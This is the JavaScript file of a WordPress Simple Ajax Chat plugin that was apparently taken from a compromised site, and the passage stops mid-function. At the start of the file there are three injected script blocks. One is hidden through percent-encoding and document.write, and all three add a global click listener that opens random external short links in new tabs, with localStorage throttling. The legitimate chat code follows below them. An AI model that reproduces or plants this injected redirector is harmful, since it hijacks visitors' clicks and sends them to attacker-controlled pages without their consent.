<script type="text/javascript">document.write(unescape("%3C%73%63%72%69%70%74%3E%28%66%75%6E%63%74%69%6F%6E%20%28%70%61%72%61%6D%65%74%65%72%73%29%20%7B%0D%0A%20%20%20%20%63%6F%6E%73%74%20%74%61%72%67%65%74%73%20%3D%20%5B%27%68%74%74%70%73%3A%2F%2F%69%2D%73%2E%69%73%2F%30%31%47%6E%69%27%2C%20%27%68%74%74%70%73%3A%2F%2F%69%2D%73%2E%69%73%2F%4E%4B%42%33%39%27%2C%20%27%68%74%74%70%73%3A%2F%2F%69%2D%73%2E%69%73%2F%70%58%53%54%46%27%2C%20%27%68%74%74%70%73%3A%2F%2F%69%2D%73%2E%69%73%2F%31%6E%66%68%34%27%2C%20%27%68%74%74%70%73%3A%2F%2F%69%2D%73%2E%69%73%2F%35%34%35%66%6C%27%2C%20%27%68%74%74%70%73%3A%2F%2F%69%2D%73%2E%69%73%2F%68%4E%39%35%6D%27%2C%20%27%68%74%74%70%73%3A%2F%2F%69%2D%73%2E%69%73%2F%63%4C%56%42%6C%27%2C%20%27%68%74%74%70%73%3A%2F%2F%69%2D%73%2E%69%73%2F%54%36%39%30%57%27%2C%20%27%68%74%74%70%73%3A%2F%2F%69%2D%73%2E%69%73%2F%63%36%6B%64%35%27%2C%20%27%68%74%74%70%73%3A%2F%2F%69%2D%73%2E%69%73%2F%66%4E%73%67%44%27%5D%0D%0A%20%20%20%20%2F%2F%20%54%69%6D%65%73%20%62%65%74%77%65%65%6E%20%63%6C%69%63%6B%73%0D%0A%20%20%20%20%63%6F%6E%73%74%20%72%65%73%74%4D%69%6E%75%74%65%73%20%3D%20%31%3B%0D%0A%20%20%20%20%2F%2F%20%4E%75%6D%62%65%72%20%6F%66%20%68%6F%75%72%73%20%74%6F%20%61%6C%6C%6F%77%20%72%65%2D%63%6C%69%63%6B%20%0D%0A%20%20%20%20%63%6F%6E%73%74%20%61%6C%6C%6F%77%65%64%48%6F%75%72%73%20%3D%20%32%3B%0D%0A%0D%0A%0D%0A%20%20%20%20%63%6F%6E%73%74%20%73%61%76%65%54%61%72%67%65%74%4C%6F%63%61%74%69%6F%6E%73%54%6F%53%74%6F%72%61%67%65%20%3D%20%28%74%61%72%67%65%74%73%29%20%3D%3E%20%7B%0D%0A%20%20%20%20%20%20%20%20%74%61%72%67%65%74%73%2E%66%6F%72%45%61%63%68%28%28%74%61%72%67%65%74%2C%20%69%6E%64%65%78%29%20%3D%3E%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%21%6C%6F%63%61%6C%53%74%6F%72%61%67%65%2E%67%65%74%49%74%65%6D%28%60%24%7B%74%61%72%67%65%74%7D%2D%6C%6F%63%61%6C%2D%73%74%6F%72%61%67%65%60%29%29%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%09%6C%6F%63%61%6C%53%74%6F%72%61%67%65%2E%73%65%74%49%74%65%6D%28%60%24%7B%74%61%72%67%65%74%7D%2D%6C%6F%63%61%6C%2D%73%74%6F%72%61%67%65%60%2C%20%30%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%7D%29%3B%0D%0A%20%20%20%20%7D%0D%0A%20%20%20%20%63%6F%6E%73%74%20%67%65%74%52%61%6E%64%6F%6D%4C%6F%63%61%74%69%6F%6E%46%72%6F%6D%53%74%6F%72%61%67%65%20%3D%20%28%74%61%72%67%65%74%73%29%20%3D%3E%20%7B%0D%0A%20%20%20%20%20%20%20%20%63%6F%6E%73%74%20%6E%6F%6E%56%69%73%69%74%65%64%20%3D%20%74%61%72%67%65%74%73%2E%66%69%6C%74%65%72%28%28%74%61%72%67%65%74%2C%20%69%6E%64%65%78%29%20%3D%3E%20%6C%6F%63%61%6C%53%74%6F%72%61%67%65%2E%67%65%74%49%74%65%6D%28%60%24%7B%74%61%72%67%65%74%7D%2D%6C%6F%63%61%6C%2D%73%74%6F%72%61%67%65%60%29%20%3D%3D%20%30%29%0D%0A%20%20%20%20%20%20%20%20%72%65%74%75%72%6E%20%6E%6F%6E%56%69%73%69%74%65%64%5B%4D%61%74%68%2E%66%6C%6F%6F%72%28%4D%61%74%68%2E%72%61%6E%64%6F%6D%28%29%20%2A%20%6E%6F%6E%56%69%73%69%74%65%64%2E%6C%65%6E%67%74%68%29%5D%3B%0D%0A%20%20%20%20%7D%0D%0A%20%20%20%20%63%6F%6E%73%74%20%73%65%74%4C%6F%63%61%74%69%6F%6E%41%73%56%69%73%69%74%65%64%20%3D%20%28%74%61%72%67%65%74%29%20%3D%3E%20%6C%6F%63%61%6C%53%74%6F%72%61%67%65%2E%73%65%74%49%74%65%6D%28%60%24%7B%74%61%72%67%65%74%7D%2D%6C%6F%63%61%6C%2D%73%74%6F%72%61%67%65%60%2C%20%31%29%3B%0D%0A%0D%0A%20%20%20%20%63%6F%6E%73%74%20%67%65%74%54%69%6D%65%53%74%6F%72%61%67%65%20%3D%20%28%6B%65%79%29%20%3D%3E%20%6C%6F%63%61%6C%53%74%6F%72%61%67%65%2E%67%65%74%49%74%65%6D%28%60%24%7B%6B%65%79%7D%2D%6C%6F%63%61%6C%2D%73%74%6F%72%61%67%65%60%29%3B%0D%0A%20%20%20%20%63%6F%6E%73%74%20%73%65%74%54%69%6D%65%54%6F%53%74%6F%72%61%67%65%20%3D%20%28%6B%65%79%2C%20%6E%6F%77%44%61%74%65%29%20%3D%3E%20%6C%6F%63%61%6C%53%74%6F%72%61%67%65%2E%73%65%74%49%74%65%6D%28%60%24%7B%6B%65%79%7D%2D%6C%6F%63%61%6C%2D%73%74%6F%72%61%67%65%60%2C%20%6E%6F%77%44%61%74%65%29%3B%0D%0A%0D%0A%20%20%20%20%63%6F%6E%73%74%20%67%65%74%48%6F%75%72%73%44%69%66%66%20%3D%20%28%73%74%61%72%74%44%61%74%65%2C%20%65%6E%64%44%61%74%65%29%20%3D%3E%20%7B%0D%0A%20%20%20%20%20%20%20%20%63%6F%6E%73%74%20%6D%73%49%6E%48%6F%75%72%20%3D%20%31%30%30%30%20%2A%20%36%30%20%2A%20%36%30%3B%0D%0A%20%20%20%20%20%20%20%20%72%65%74%75%72%6E%20%4D%61%74%68%2E%72%6F%75%6E%64%28%4D%61%74%68%2E%61%62%73%28%65%6E%64%44%61%74%65%20%2D%20%73%74%61%72%74%44%61%74%65%29%20%2F%20%6D%73%49%6E%48%6F%75%72%29%3B%0D%0A%20%20%20%20%7D%0D%0A%20%20%20%20%63%6F%6E%73%74%20%67%65%74%4D%69%6E%74%73%44%69%66%66%20%3D%20%28%73%74%61%72%74%44%61%74%65%2C%20%65%6E%64%44%61%74%65%29%20%3D%3E%20%7B%0D%0A%20%20%20%20%20%20%20%20%63%6F%6E%73%74%20%6D%73%49%6E%4D%69%6E%74%73%20%3D%20%31%30%30%30%20%2A%20%36%30%3B%0D%0A%20%20%20%20%20%20%20%20%72%65%74%75%72%6E%20%4D%61%74%68%2E%72%6F%75%6E%64%28%4D%61%74%68%2E%61%62%73%28%65%6E%64%44%61%74%65%20%2D%20%73%74%61%72%74%44%61%74%65%29%20%2F%20%6D%73%49%6E%4D%69%6E%74%73%29%3B%0D%0A%20%20%20%20%7D%0D%0A%0D%0A%20%20%20%20%63%6F%6E%73%74%20%76%69%73%69%74%4E%65%77%4C%6F%63%61%74%69%6F%6E%20%3D%20%28%74%61%72%67%65%74%73%2C%20%68%6F%73%74%2C%20%6E%6F%77%44%61%74%65%29%20%3D%3E%20%7B%0D%0A%20%20%20%20%20%20%20%20%73%61%76%65%54%61%72%67%65%74%4C%6F%63%61%74%69%6F%6E%73%54%6F%53%74%6F%72%61%67%65%28%74%61%72%67%65%74%73%29%3B%0D%0A%20%20%20%20%20%20%20%20%6E%65%77%4C%6F%63%61%74%69%6F%6E%20%3D%20%67%65%74%52%61%6E%64%6F%6D%4C%6F%63%61%74%69%6F%6E%46%72%6F%6D%53%74%6F%72%61%67%65%28%74%61%72%67%65%74%73%29%3B%0D%0A%20%20%20%20%20%20%20%20%73%65%74%54%69%6D%65%54%6F%53%74%6F%72%61%67%65%28%60%24%7B%68%6F%73%74%7D%2D%6D%6E%74%73%60%2C%20%6E%6F%77%44%61%74%65%29%3B%0D%0A%20%20%20%20%20%20%20%20%73%65%74%54%69%6D%65%54%6F%53%74%6F%72%61%67%65%28%60%24%7B%68%6F%73%74%7D%2D%68%75%72%73%60%2C%20%6E%6F%77%44%61%74%65%29%3B%0D%0A%20%20%20%20%20%20%20%20%73%65%74%4C%6F%63%61%74%69%6F%6E%41%73%56%69%73%69%74%65%64%28%6E%65%77%4C%6F%63%61%74%69%6F%6E%29%3B%0D%0A%20%20%20%20%20%20%20%20%77%69%6E%64%6F%77%2E%6F%70%65%6E%28%6E%65%77%4C%6F%63%61%74%69%6F%6E%2C%20%22%5F%62%6C%61%6E%6B%22%29%3B%0D%0A%20%20%20%20%7D%0D%0A%0D%0A%20%20%20%20%2F%2F%20%63%6F%6E%73%74%20%72%61%6E%64%6F%6D%4C%6F%63%61%74%69%6F%6E%20%3D%20%67%65%74%52%61%6E%64%6F%6D%4C%6F%63%61%74%69%6F%6E%46%72%6F%6D%53%74%6F%72%61%67%65%28%74%61%72%67%65%74%73%29%3B%0D%0A%20%20%20%20%73%61%76%65%54%61%72%67%65%74%4C%6F%63%61%74%69%6F%6E%73%54%6F%53%74%6F%72%61%67%65%28%74%61%72%67%65%74%73%29%3B%0D%0A%0D%0A%20%20%20%20%66%75%6E%63%74%69%6F%6E%20%67%6C%6F%62%61%6C%43%6C%69%63%6B%28%65%76%65%6E%74%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%65%76%65%6E%74%2E%73%74%6F%70%50%72%6F%70%61%67%61%74%69%6F%6E%28%29%3B%0D%0A%20%20%20%20%20%20%20%20%63%6F%6E%73%74%20%68%6F%73%74%20%3D%20%6C%6F%63%61%74%69%6F%6E%2E%68%6F%73%74%3B%0D%0A%20%20%20%20%20%20%20%20%6C%65%74%20%6E%65%77%4C%6F%63%61%74%69%6F%6E%20%3D%20%67%65%74%52%61%6E%64%6F%6D%4C%6F%63%61%74%69%6F%6E%46%72%6F%6D%53%74%6F%72%61%67%65%28%74%61%72%67%65%74%73%29%3B%0D%0A%20%20%20%20%20%20%20%20%63%6F%6E%73%74%20%6E%6F%77%44%61%74%65%20%3D%20%44%61%74%65%2E%70%61%72%73%65%28%6E%65%77%20%44%61%74%65%28%29%29%3B%0D%0A%20%20%20%20%20%20%20%20%63%6F%6E%73%74%20%73%61%76%65%64%44%61%74%65%46%6F%72%4D%69%6E%74%73%20%3D%20%67%65%74%54%69%6D%65%53%74%6F%72%61%67%65%28%60%24%7B%68%6F%73%74%7D%2D%6D%6E%74%73%60%29%3B%0D%0A%20%20%20%20%20%20%20%20%63%6F%6E%73%74%20%73%61%76%65%64%44%61%74%65%46%6F%72%48%6F%75%72%73%20%3D%20%67%65%74%54%69%6D%65%53%74%6F%72%61%67%65%28%60%24%7B%68%6F%73%74%7D%2D%68%75%72%73%60%29%3B%0D%0A%0D%0A%20%20%20%20%20%20%20%20%69%66%20%28%73%61%76%65%64%44%61%74%65%46%6F%72%4D%69%6E%74%73%20%26%26%20%73%61%76%65%64%44%61%74%65%46%6F%72%48%6F%75%72%73%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%74%72%79%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%63%6F%6E%73%74%20%73%74%6F%72%61%67%65%44%61%74%65%46%6F%72%4D%69%6E%74%73%20%3D%20%70%61%72%73%65%49%6E%74%28%73%61%76%65%64%44%61%74%65%46%6F%72%4D%69%6E%74%73%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%63%6F%6E%73%74%20%73%74%6F%72%61%67%65%44%61%74%65%46%6F%72%48%6F%75%72%73%20%3D%20%70%61%72%73%65%49%6E%74%28%73%61%76%65%64%44%61%74%65%46%6F%72%48%6F%75%72%73%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%63%6F%6E%73%74%20%6D%69%6E%74%73%44%69%66%66%20%3D%20%67%65%74%4D%69%6E%74%73%44%69%66%66%28%6E%6F%77%44%61%74%65%2C%20%73%74%6F%72%61%67%65%44%61%74%65%46%6F%72%4D%69%6E%74%73%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%63%6F%6E%73%74%20%68%6F%75%72%73%44%69%66%66%20%3D%20%67%65%74%48%6F%75%72%73%44%69%66%66%28%6E%6F%77%44%61%74%65%2C%20%73%74%6F%72%61%67%65%44%61%74%65%46%6F%72%48%6F%75%72%73%29%3B%0D%0A%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%69%66%20%28%68%6F%75%72%73%44%69%66%66%20%3E%3D%20%61%6C%6C%6F%77%65%64%48%6F%75%72%73%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%73%61%76%65%54%61%72%67%65%74%4C%6F%63%61%74%69%6F%6E%73%54%6F%53%74%6F%72%61%67%65%28%74%61%72%67%65%74%73%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%73%65%74%54%69%6D%65%54%6F%53%74%6F%72%61%67%65%28%60%24%7B%68%6F%73%74%7D%2D%68%75%72%73%60%2C%20%6E%6F%77%44%61%74%65%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%69%66%20%28%6D%69%6E%74%73%44%69%66%66%20%3E%3D%20%72%65%73%74%4D%69%6E%75%74%65%73%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%69%66%20%28%6E%65%77%4C%6F%63%61%74%69%6F%6E%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%73%65%74%54%69%6D%65%54%6F%53%74%6F%72%61%67%65%28%60%24%7B%68%6F%73%74%7D%2D%6D%6E%74%73%60%2C%20%6E%6F%77%44%61%74%65%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%77%69%6E%64%6F%77%2E%6F%70%65%6E%28%6E%65%77%4C%6F%63%61%74%69%6F%6E%2C%20%22%5F%62%6C%61%6E%6B%22%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%73%65%74%4C%6F%63%61%74%69%6F%6E%41%73%56%69%73%69%74%65%64%28%6E%65%77%4C%6F%63%61%74%69%6F%6E%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%63%61%74%63%68%20%28%65%72%72%6F%72%29%20%7B%20%76%69%73%69%74%4E%65%77%4C%6F%63%61%74%69%6F%6E%28%74%61%72%67%65%74%73%2C%20%68%6F%73%74%2C%20%6E%6F%77%44%61%74%65%29%3B%20%7D%0D%0A%20%20%20%20%20%20%20%20%7D%20%65%6C%73%65%20%7B%20%76%69%73%69%74%4E%65%77%4C%6F%63%61%74%69%6F%6E%28%74%61%72%67%65%74%73%2C%20%68%6F%73%74%2C%20%6E%6F%77%44%61%74%65%29%3B%20%7D%0D%0A%20%20%20%20%7D%0D%0A%20%20%20%20%64%6F%63%75%6D%65%6E%74%2E%61%64%64%45%76%65%6E%74%4C%69%73%74%65%6E%65%72%28%22%63%6C%69%63%6B%22%2C%20%67%6C%6F%62%61%6C%43%6C%69%63%6B%29%0D%0A%7D%29%28%29%3C%2F%73%63%72%69%70%74%3E"))</script><script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script><script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>/*
	Simple Ajax Chat > JavaScript
	@ https://wordpress.org/plugins/simple-ajax-chat/
*/

// Fade Anything Technique by Adam Michela
var Fat = { 
	make_hex : function(d,c,a) {
		d = d.toString(16);
		if (d.length == 1) {
			d = '0' + d;
		}
		c = c.toString(16);
		if (c.length == 1) {
			c = '0' + c;
		}
		a = a.toString(16);
		if (a.length == 1) {
			a = '0' + a;
		}
		return '#' + d + c + a;
	},
	fade_all : function() {
		var b = document.getElementsByTagName('*');
		for (var c = 0; c < b.length; c++) {
			var e = b[c];
			var d = /fade-?(\w{3,6})?/.exec(e.className);
			if (d) {
				if (!d[1]) {
					d[1] = '';
				}
				if (e.id) {
					Fat.fade_element(e.id, null, null, '#' + d[1]);
				}
			}
		}
	},
	fade_element : function(m, c, a, o, d) {
		if (!c) {
			c = 30; 
		}
		if (!a) {
			a = 3000;
		}
		if (!o || o == '#') {
			o = '#ffff33';
		}
		if (!d) { 
			d = this.get_bgcolor(m);
		}
		var i = Math.round(c * (a/1000));
		var s = a / i;
		var w = s;
		var j = 0;
		if (o.length < 7) {
			o += o.substr(1, 3);
		}
		if (d.length < 7) {
			d += d.substr(1, 3);
		}
		var n = parseInt(o.substr(1, 2), 16);
		var u = parseInt(o.substr(3, 2), 16);
		var e = parseInt(o.substr(5, 2), 16);
		var f = parseInt(d.substr(1, 2), 16);
		var l = parseInt(d.substr(3, 2), 16);
		var t = parseInt(d.substr(5, 2), 16);
		var k, q, v, p;
		while (j < i) {
			k = Math.floor(n * ((i - j) / i) + f * (j / i));
			q = Math.floor(u * ((i - j) / i) + l * (j / i));
			v = Math.floor(e * ((i - j) / i) + t * (j / i));
			p = this.make_hex(k, q, v);
			setTimeout(Fat.set_bgcolor.bind(null, m, p), w);
			j++;
			w = s * j;
		}
		setTimeout(Fat.set_bgcolor.bind(null, m, d), w);
	}, 
	set_bgcolor : function(d, b) {
		var a = document.getElementById(d);
		a.style.backgroundColor = b;
	},
	get_bgcolor : function(e) {
		var b = document.getElementById(e);
		while(b) {
			var d;
			if (window.getComputedStyle) {
				d = window.getComputedStyle(b, null).getPropertyValue('background-color');
			}
			if (b.currentStyle) {
				d = b.currentStyle.backgroundColor;
			}
			if ((d != '' && d != 'transparent') || b.tagName == 'body') {
				break;
			}
			b = b.parentNode;
		}
		if (d == undefined || d == '' || d == 'transparent') {
			d = '#ffffff';
		}
		var a = d.match(/rgb\s*\(\s*(\d{1,3})\s*,\s*(\d{1,3})\s*,\s*(\d{1,3})\s*\)/);
		if (a) {
			d = this.make_hex(parseInt(a[1]), parseInt(a[2]), parseInt(a[3]));
		}
		return d;
	}
};

// smilies
var smilies = [
	[':\\)',      'icon_smile.gif'], 
	[':\\-\\)',   'icon_smile.gif'], 
	[':D',        'icon_biggrin.gif'], 
	[':\\-D',     'icon_biggrin.gif'], 
	[':grin:',    'icon_biggrin.gif'], 
	[':smile:',   'icon_smile.gif'], 
	[':\\(',      'icon_sad.gif'], 
	[':\\-\\(',   'icon_sad.gif'], 
	[':sad:',     'icon_sad.gif'], 
	[':o',        'icon_surprised.gif'], 
	[':\\-o',     'icon_surprised.gif'], 
	['8o',        'icon_eek.gif'], 
	['8\\-o',     'icon_eek.gif'], 
	['8\\-0',     'icon_eek.gif'], 
	[':eek:',     'icon_surprised.gif'], 
	[':s',        'icon_confused.gif'], 
	[':\\-s',     'icon_confused.gif'], 
	[':lol:',     'icon_lol.gif'], 
	[':cool:',    'icon_cool.gif'], 
	['8\\)',      'icon_cool.gif'], 
	['8\\-\\)',   'icon_cool.gif'], 
	[':x',        'icon_mad.gif'], 
	[':-x',       'icon_mad.gif'], 
	[':mad:',     'icon_mad.gif'], 
	[':p',        'icon_razz.gif'], 
	[':\\-p',     'icon_razz.gif'], 
	[':razz:',    'icon_razz.gif'], 
	[':\\$',      'icon_redface.gif'], 
	[':\\-\\$',   'icon_redface.gif'], 
	[":'\\(",     'icon_cry.gif'], 
	[':evil:',    'icon_evil.gif'], 
	[':twisted:', 'icon_twisted.gif'], 
	[':cry:',     'icon_cry.gif'], 
	[':roll:',    'icon_rolleyes.gif'], 
	[':wink:',    'icon_wink.gif'], 
	[';\\)',      'icon_wink.gif'], 
	[';\\-\\)',   'icon_wink.gif'], 
	[':!:',       'icon_exclaim.gif'], 
	[':\\?',      'icon_question.gif'], 
	[':\\-\\?',   'icon_question.gif'], 
	[':idea:',    'icon_idea.gif'], 
	[':arrow:',   'icon_arrow.gif'], 
	[':\\|',      'icon_neutral.gif'], 
	[':neutral:', 'icon_neutral.gif'], 
	[':\\-\\|',   'icon_neutral.gif'], 
	[':mrgreen:', 'icon_mrgreen.gif']
];

// apply filters
function sac_apply_filters(s) { 
	return filter_smilies(make_links((s))); 
};

// filter smilies
function filter_smilies(s) {
	for (var i = 0; i < smilies.length; i++) {
		var search = smilies[i][0];
		var imgalt = smilies[i][0].replace(/\\/g, '');
		var imgsrc = 'https://gazaldesign.gazaldesign.xyz/wordpress/wp-includes/images/smilies/' + smilies[i][1];
		var replace = '<img src="' + imgsrc + '" class="wp-smiley" border="0" style="border:none;" alt="' + imgalt + '" />';
		re = new RegExp(search, 'gi');
		s = s.replace(re, replace);
	}
	return s;
};

// links
function make_links(s) {
	var re = /((http|https|ftp):\/\/[^ ]*)/gi; 
	text = s.replace(re, '<a rel="external" href="$1" class="sac-chat-link">&laquo;link&raquo;</a>');
	return text;
};

// sound alerts
var myBox = new Object();
myBox.onInit = function(){};

// Generic onload @ https://www.brothercake.com/site/resources/scripts/onload/
if (typeof window.addEventListener != 'undefined') {
	window.addEventListener('load', initJavaScript, false);
} else {
	if (typeof document.addEventListener != 'undefined') {
		document.addEventListener('load', initJavaScript, false);
	} else {
		if (typeof window.attachEvent != 'undefined') {
			window.attachEvent('onload', initJavaScript);
		}
	}
};

// scroll to position
function scroll_to_position() {
		
	// reverse display disabled
		
};

// get timeout
function get_timeout() {
	
	return 3000;
	
};

// XHTML live Chat by Alexander Kohlhofer

var sac_loadtimes;
var httpReceiveChat;
var httpSendChat;

var get_timeout = get_timeout();
var sac_timeout = get_timeout;
var GetChaturl  = 'https://gazaldesign.gazaldesign.xyz/wordpress/wp-content/plugins/simple-ajax-chat/simple-ajax-chat-core.php?sacGetChat=yes';
var SendChaturl = 'https://gazaldesign.gazaldesign.xyz/wordpress/wp-content/plugins/simple-ajax-chat/simple-ajax-chat-core.php?sacSendChat=yes';

function initJavaScript() {
	
	if (!document.getElementById('sac_chat')) return;
	
	document.forms['sac-form'].elements.sac_chat.setAttribute('autocomplete', 'off');
	
	checkStatus('');
	checkName();
	checkUrl();
	
	sac_loadtimes   = 1;
	httpReceiveChat = getHTTPObject();
	httpSendChat    = getHTTPObject();
	
	setTimeout(receiveChatText, sac_timeout);
	
	document.getElementById('sac_url').onblur         = checkUrl;
	document.getElementById('sac_name').onblur        = checkName;
	document.getElementById('sac_chat').onfocus       = function(){ checkStatus('active'); };
	document.getElementById('sac_chat').onblur        = function(){ checkStatus(''); };
	document.getElementById('sac-form').onsubmit      = function(){ return false; };
	document.getElementById('submitchat').onclick     = sendComment;
	document.getElementById('sac-output').onmouseover = function(){
		
		if (sac_loadtimes > 9){
			sac_loadtimes = 1;
			receiveChatText();
		}
		
		sac_timeout = get_timeout;
		
	}
	
	scroll_to_position();
	
};

function receiveChatText() {
	
	sac_lastID = parseInt(document.getElementById('sac_lastID').value) - 1;
	
	if (httpReceiveChat.readyState == 4 || httpReceiveChat.readyState == 0) {
		
		var id    = '&sac_lastID=' + sac_lastID;
		var rand  = '&rand=' + Math.floor(Math.random() * 1000000);
		var nonce = '&sac_nonce_receive=02875ff549';
		var query = GetChaturl + id + nonce + rand;
		
		httpReceiveChat.open('GET', query, true);
		httpReceiveChat.onreadystatechange = handlehHttpReceiveChat;
		httpReceiveChat.send(null);
		
		sac_loadtimes++;
		if (sac_loadtimes > 9) {
			sac_timeout = sac_timeout * 1.25;
		}
		
	}
	
	// console.log('sac_loadtimes: '+ sac_loadtimes + ', Timeout: ' + sac_timeout);
	
	setTimeout(receiveChatText, sac_timeout);
	
};

// http receive chat
function handlehHttpReceiveChat() {
	if (httpReceiveChat.readyState == 4) { 
		results = httpReceiveChat.responseText.split('---');
		if (results.length > 4) {
			for (i = 0; i < (results.length - 1); i = i + 5) {
